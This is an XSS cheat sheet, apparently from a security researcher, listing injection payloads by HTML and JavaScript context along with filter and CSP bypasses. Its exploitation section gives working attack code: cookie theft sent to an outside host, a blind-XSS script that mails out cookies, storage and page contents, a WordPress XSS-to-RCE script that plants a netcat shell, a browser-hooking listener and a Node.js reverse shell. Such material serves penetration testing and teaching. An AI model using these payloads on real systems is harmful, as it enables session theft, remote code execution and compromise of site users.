XSS Cheat Sheet

Summary

Basics

HTML Context – Simple Tag Injection

Use when input lands inside an attribute's value of an HTML tag or outside tag except the ones described in next case.

```
<svg onload=alert(1)>
"><svg onload=alert(1)>
```

HTML Context – In Block Tag Injection

Use when input lands inside or between opening/closing of the following tags: <title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is accordingly).

```
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
```

HTML Context – Inline Injection

Use when input lands inside an attribute's value of an HTML tag but that tag can't be terminated by greater than sign (>).

```
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
```

HTML Context – Source Injection

Use when input lands as a value of the following HTML tag attributes: href, src, data or action (also formaction). For src in script tag use an external script call (URL) or "data:,alert(1)". 2nd payload below alerts out of target's context for Webkit browsers.

```
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
```

Javascript Context – Code Injection

Use when input lands in a script block, inside a string delimited value.

```
'-alert(1)-'
'-alert(1)//
```

Javascript Context – Code Injection with Escape Bypass

Use when input lands in a script block, inside a string delimited value but quotes are escaped by a backslash.

```
\'-alert(1)//
```

Javascript Context – Code Injection in Logical Block

Use 1st or 2nd payloads when input lands in a script block, inside a string delimited value and inside a single logical block like function or conditional (if, else, etc). If quote is escaped with a backslash, use 3rd payload.

```
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
```

Javascript Context – Tag Injection

Use when input lands anywhere in a script block.

```
</script><svg onload=alert(1)>
```

Advanced

Multi Reflection – Double Reflection (Single Input)

Use to take advantage of multiple reflections on same page.

```
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
```

Multi Reflection – Triple Reflection (Single Input)

Use to take advantage of multiple reflections on same page.

```
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
```

Multi Input Reflections (Double & Triple)

Use to take advantage of multiple input reflections on same page.

```
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
```

File Upload Injection – Filename

Use when uploaded filename is reflected somewhere in target page.

```
"><svg onload=alert(1)>.gif
```

File Upload Injection – Metadata

Use when metadata of uploaded file is reflected somewhere in target page. It uses command-line exiftool and any metadata field can be set.

```
brute@logic:~$ exiftool -Artist="'><svg onload=alert(1)>' xss.jpeg
```

File Upload Injection – SVG File

Use to create a stored XSS on target when uploading image files. Save content below as "xss.svg".

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```

DOM Insert Injection

Use to test for XSS when injection gets inserted into DOM as valid markup instead of being reflected in source code. It works for cases where script tag and other vectors won't work.

```
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
```

DOM Insert Injection – Resource Request

Use when javascript code of the page inserts into page the results of a request to an URL controlled by attacker (injection).

```
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
```

PHP_SELF Injection

Use when current URL is used by target's underlying PHP code as an attribute value of an HTML form, for example. Inject between php extension and start of query part (?) using a leading slash (/).

```
https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
```

Script Injection – No Closing

Use when there's a closing script tag (</script>) somewhere in the code after reflection.

```
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
```

Javascript postMessage() DOM Injection (with Iframe)

Use when there's a "message" event listener like in "window.addEventListener('message', ...)" in javascript code without a check for origin. Target must be able to be framed (X-Frame Options header according to context). Save as HTML file (or using data:text/html) providing TARGET_URL and INJECTION (a XSS vector or payload).

```
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
```

XML-based XSS

Use to inject XSS vector in a XML page (content types text/xml or application/xml).

```
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
```

Client Side Template Injection

Use to test for client side template injection (useful for AngularJS injections below). It must return 1024 when rendering.

```
{{32*32}}
```

AngularJS Injections (v1.6 and up)

Use when there's an AngularJS library loaded in page, inside an HTML block with ng-app directive or creating your own.

```
{{constructor.constructor('alert(1)')()}}
<x ng-app>{{constructor.constructor('alert(1)')()}}
```

CRLF Injection

Use when application reflects input in one of response headers, allowing the injection of Carriage Return (%0D) and Line Feed (%0A) characters. Vectors for Gecko and Webkit, respectively.

```
%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A
%3Cscript%3Ealert(1)%3C/script%3E
%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection
%3a0%0D%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E
```

Filter Bypass

Mixed Case XSS

Use to bypass case-sensitive filters.

```
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
```

Unclosed Tags

Use in HTML injections to avoid filtering based in the presence of both lower than (<) and greater than (>) signs. It requires a native greater than sign in source code after input reflection.

```
<svg onload=alert(1)//
<svg onload="alert(1)"
```

Uppercase XSS

Use when application reflects input in uppercase.

```
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
```

Extra Content for Script Tags

Use when filter looks for “<script>” or “<script src=...” with some variations but without checking for other non-needed attribute.

```
<script/x>alert(1)</script>
```

Double Encoded XSS

Use when application performs double decoding of input.

```
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
```

Alert without Parentheses (Strings Only)

Use in an HTML vector or javascript injection when parentheses are not allowed and a simple alert box is enough.

```
alert`1`
```

Alert without Parentheses

Use in an HTML vector or javascript injection when parentheses are not allowed and PoC needs to return any target info.

```
setInterval`alert\x28document.domain\x29`
setTimeout`alert\x28document.domain\x29`
```

Alert without Parentheses (Tag Exclusive)

Use only in HTML injections when parentheses are not allowed. Replace "&" with "%26" in URLs.

```
<svg onload=alert&lpar;1&rpar;>
<svg onload=alert&#40;1&#41>
```

Alert without Alphabetic Chars

Use when alphabetic characters are not allowed. Following is alert(1).

```
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']
('\141\154\145\162\164\50\61\51')()
```

Alert Obfuscation

Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above). The shortest option "top" can also be replaced by "window", "parent", "self" or "this" depending on context.

```
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)
```

File Upload Injection – HTML/js GIF Disguise

Use to bypass CSP via file upload. Save all content below as "xss.gif" or "xss.js" (for strict MIME checking). It can be imported to target page with <link rel=import href=xss.gif> (also "xss.js") or <script src=xss.js></script>. It's image/gif for PHP.

```
GIF89a=//<script>
alert(1)//</script>;
```

Jump to URL Fragment

Use when you need to hide some characters from your payload that would trigger a WAF for example. It makes use of respective payload format after URL fragment (#).

eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>
* (Webkit only)
<svg/onload=innerHTML=location.hash> #<img/src/onerror=alert(1)>

HTML Alternative Separators

Use when default spaces are not allowed. Slash and quotes (single or double) might be URL encoded (%2F, %27 and %22 respectively) also, while plus sign (+) can be used only in URLs.

Tag Scheme:

<name [1] attrib [2] = [3] value [4] handler [5] = [6] js [7]>
[1], [2], [5] => %09, %0A, %0C, %0D, %20, / and +
[3] & [4] => %09, %0A, %0C, %0D, %20, + and ' or " in both
[6] & [7] => %09, %0A, %0B, %0C, %0D, %20, /, + and ' or " in both

Strip Tags Based Bypass

Use when filter strips out anything between a < and > characters. Inline injection only.

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

2nd Order XSS Injection

Use when your input will be used twice, like stored normalized in a database and then retrieved for later use or inserted into DOM.

<svg/onload=alert(1)>

Event Origin Bypass for postMessage() XSS

Use when a check for origin can be bypassed in javascript code of target by prepending one of the allowed origins as a subdomain of the attacking domain that will send the payload. Example makes use of Crosspwn script (available in Miscellaneous section) at localhost.

http://facebook.com.localhost/crosspwn.php?
target=//brutelogic.com.br/tests/status.html&msg=<script>alert(1)</script>

CSP Bypass (for Whitelisted Google Domains)

Use when there's a CSP (Content-Security Policy) that allows execution from these domains.

<script src=https://www.google.com/complete/search?client=chrome%26jsonp=alert(1);>
</script>
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js></script><x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}

Vectors without Event Handlers

Use as an alternative to event handlers, if they are not allowed. Some require user interaction as stated in the vector itself (also part of them).

<script>alert(1)</script>
<script src=data:,alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click

Vectors with Agnostic Event Handlers

Use the following vectors when all known HTML tag names are not allowed. Any alphabetic char or string can be used as tag name in place of "x". They require user interaction as stated by their very text content (which make part of the vectors too).

<x contenteditable onblur=alert(1)>lose focus!

```
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
```

Javascript Alternative Comments

Use when regular javascript comments (double slashes) are not allowed, escaped or removed.

```
<!--
%0A-->
```

Exploitation

Remote Script Call

Use when you need to call an external script but your XSS vector is an handler-based one (like <svg onload=) or in javascript injections. The “brutelogic.com.br” domain along with HTML and js files are used as examples.

1. HTML-based (response must be HTML with an Access-Control-Allow-Origin (CORS) header)

"var x=new XMLHttpRequest();x.open('GET','//brutelogic.com.br/0.php');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"

fetch('//brutelogic.com.br/0.php').then(function(r){r.text().then(function(w) {write(w)})})

* (with fully loaded JQuery library)
$.get('//brutelogic.com.br/0.php',function(r){write(r)})

2. Javascript-based (response must be javascript)
with(document)body.appendChild(createElement('script')).src='//brutelogic.com.br/2.js'

* (with fully loaded JQuery library)
$.getScript('//brutelogic.com.br/2.js')

Wordpress XSS to RCE (up to v4.9.1)
Use it as a remote script to run when Wordpress admin gets XSSed with a listener like netcat in port 5855. Plugin “Hello Dolly” is the target here but almost any other plugin can be used, changing file and path accordingly.

```
p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';
a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
if (this.readyState == 4) {
fetch('/wordpress/wp-content/plugins/hello.php');
}
}
```

Blind XSS Mailer

Use it as a blind XSS remote script saving as PHP file and changing $to and $headers vars accordingly. A working mail server needs to be present.

```
<?php header("Content-type: application/javascript"); ?>

var mailer = '<?php echo "//" . $_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"] ?>';

var msg = 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' +
document.URL;
msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE
COOKIES\n' + document.cookie;
msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) +
'\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage);
msg += '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML;

var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' +
encodeURIComponent(msg));

<?php
header("Access-Control-Allow-Origin: " . $_POST["origin"]);
$origin = $_POST["origin"];
$to = "myName@myDomain";
$subject = "XSS Blind Report for " . $origin;
$ip = "Requester: " . $_SERVER["REMOTE_ADDR"] . "\nForwarded For: ".
$_SERVER["HTTP_X_FORWARDED_FOR"];
$msg = $subject . "\n\nIP ADDRESS\n" . $ip . "\n\n" . $_POST["msg"];
$headers = "From: report@myDomain" . "\r\n";
if ($origin && $msg) {
mail($to, $subject, $msg, $headers);
}
?>
```

Invisible Foreign XSS Embedding

Use to load a XSS from another domain (or subdomain) into the current one. Restricted by target's X-Frame-Options (XFO) header. Example below alerts in brutelogic.com.br context regardless of domain.

```
<iframe src="//brutelogic.com.br/xss.php?a=<svg onload=alert(document.domain)>"
style=display:none></iframe>
```

Cookie Stealing

Use to get all cookies from victim user set by target site. It can't get cookies protected by httpOnly security flag.

```
fetch('//brutelogic.com.br/?c='+document.cookie)
```

Simple Virtual Defacement

Use to change how site will appear to victim providing HTML code. In the example below a "Not Found" message is displayed.

```
<svg onload="documentElement.innerHTML='<h1>Not Found</h1>'">
```

Browser Remote Control

Use to hook browser and send javascript commands to it interactively. Use the javascript code below instead of alert(1) in your injection with an Unix-like terminal open with the following shell script (listener). Provide a HOST as a hostname, IP address or domain to receive commands from attacker machine.

Javascript:

```
setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:5855'},100)
```

Listener:

```
brute@logic:~$ while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
```

Miscellaneous

XSS Online Test Page

Use to practice XSS vectors and payloads. Check source code for injection points.

https://brutelogic.com.br/xss.php

Multi-Case Filter-Aware HTML Injection

Use as one-shot to have higher successful XSS rates.

'"</Script><Html /Onmouseover=(alert)(1) //

Javascript Execution Delay

Use when a javascript library or any other needed resource for injection is not fully loaded in the execution of payload. A JQuery-based external call is used as example.

onload=function(){$.getScript('//brutelogic.com.br/2.js')}

onload=x=>$.getScript('//brutelogic.com.br/2.js')

Valid Source for Image Tags

Use when you need a valid src attribute to trigger an on load event instead of on error one.

<imgsrc=(1)>

Shortest XSS

Use when you have a limited slot for injection. Requires a native script (present in source code already) called with relative path placed after where injection lands. Attacker server must reply with attacking script for exact request done by native script (same path) or within a default 404 page (easier). The shorter domain is, the better.

<base href=//knoxss.me>

Mobile-only Event Handlers

Use when targeting mobile applications.

<html ontouchstart=alert(1)>

```
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<body onorientationchange=alert(1)>
```

Body Tag

A collection of body vectors. Last one works only for Microsoft browsers.

```
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=%23x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1!
```

Less Known XSS Vectors

A collection of less known XSS vectors.

```
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
```

Cross-Origin Script (Crosspwn)

Save content below as .php file and use as following:

http://facebook.com.localhost/crosspwn.php?
target=//brutelogic.com.br/tests/status.html&msg=<script>alert(document.domain)

Where “facebook.com” is an allowed origin and “localhost” is attacking domain,

“//brutelogic.com.br/tests/status.html” is target page and

“<script>alert(document.domain)” is message sent.

Another usage is for firing onresize and onhashchange body event handlers without user interaction:

http://localhost/crosspwn.php?target=//brutelogic.com.br/xss.php?a=<body/onresize=alert(document.domain)>

And to shorten and hide injected payload, the “name” extra field can be used.

http://localhost/crosspwn.php?target=//brutelogic.com.br/xss.php?a=<svg/onload=eval(name)>&name=alert(document.domain)

Code:

```
<!DOCTYPE html>
<body onload="crossPwn()">
<h2>CrossPwn</h2>
<iframe src="<?php echo htmlentities($_GET['target'], ENT_QUOTES) ?>"
name="<?php echo $_GET['name'] ?>" height="0"
style="visibility:hidden"></iframe>
<script>
function crossPwn() {
frames[0].postMessage('<?php echo $_GET["msg"] ?>','*'); // onmessage
document.getElementsByTagName('iframe')[0].setAttribute('height', '1'); //
onresize
document.getElementsByTagName('iframe')[0].src = '<?php echo
$_GET["target"] ?>' + '#brute'; // onhashchange
}
</script>
</body>
</html>
```

Simple XSS Finder Script for PHP (Static Analysis)

Use to find potential XSS flaws in PHP source code. For Unix-like systems: save content below, allow execution and run with ./filename. It works for single file and recursive (folder and sub-folders).

```
if [ -z $1 ]
then
echo -e "Usage:\n$0 FILE\n$0 -r FOLDER"
exit
else
f=$1
fi

sources=(GET POST REQUEST "SERVER\['PHP" "SERVER\['PATH_" "SERVER\
['REQUEST_U")
sinks=(? echo die print printf print_r var_dump)

xssam(){
for i in ${sources[@]}
do
a=$(grep -in "\$_${i}" $f | grep -o "\$.*=" | sed "s/[ ]\?=//g" | sort -u)
for j in ${sinks[@]}
do
grep --color -in "${j}.*\$_${i}" $f
for k in $a
do
grep --color -in "${j}.*$k" $f
done
done
done
}
if [ $f != "-r" ]
then
xssam
else
for i in $(find $2 -type f -name "*.php")
```

```
do
echo "File: $i"
f=$i
xssam
done
fi
```

Node.js RCE

Use for command execution in vulnerable Node.js applications. Provide a HOST as a hostname, IP address or domain to receive the reverse shell from vulnerable server.

Javascript:

```
require('child_process').exec('bash -c "bash -i >& /dev/tcp/HOST/5855 0>&1"')
```

Listener:

```
brute@logic:~$ nc -lp 5855
```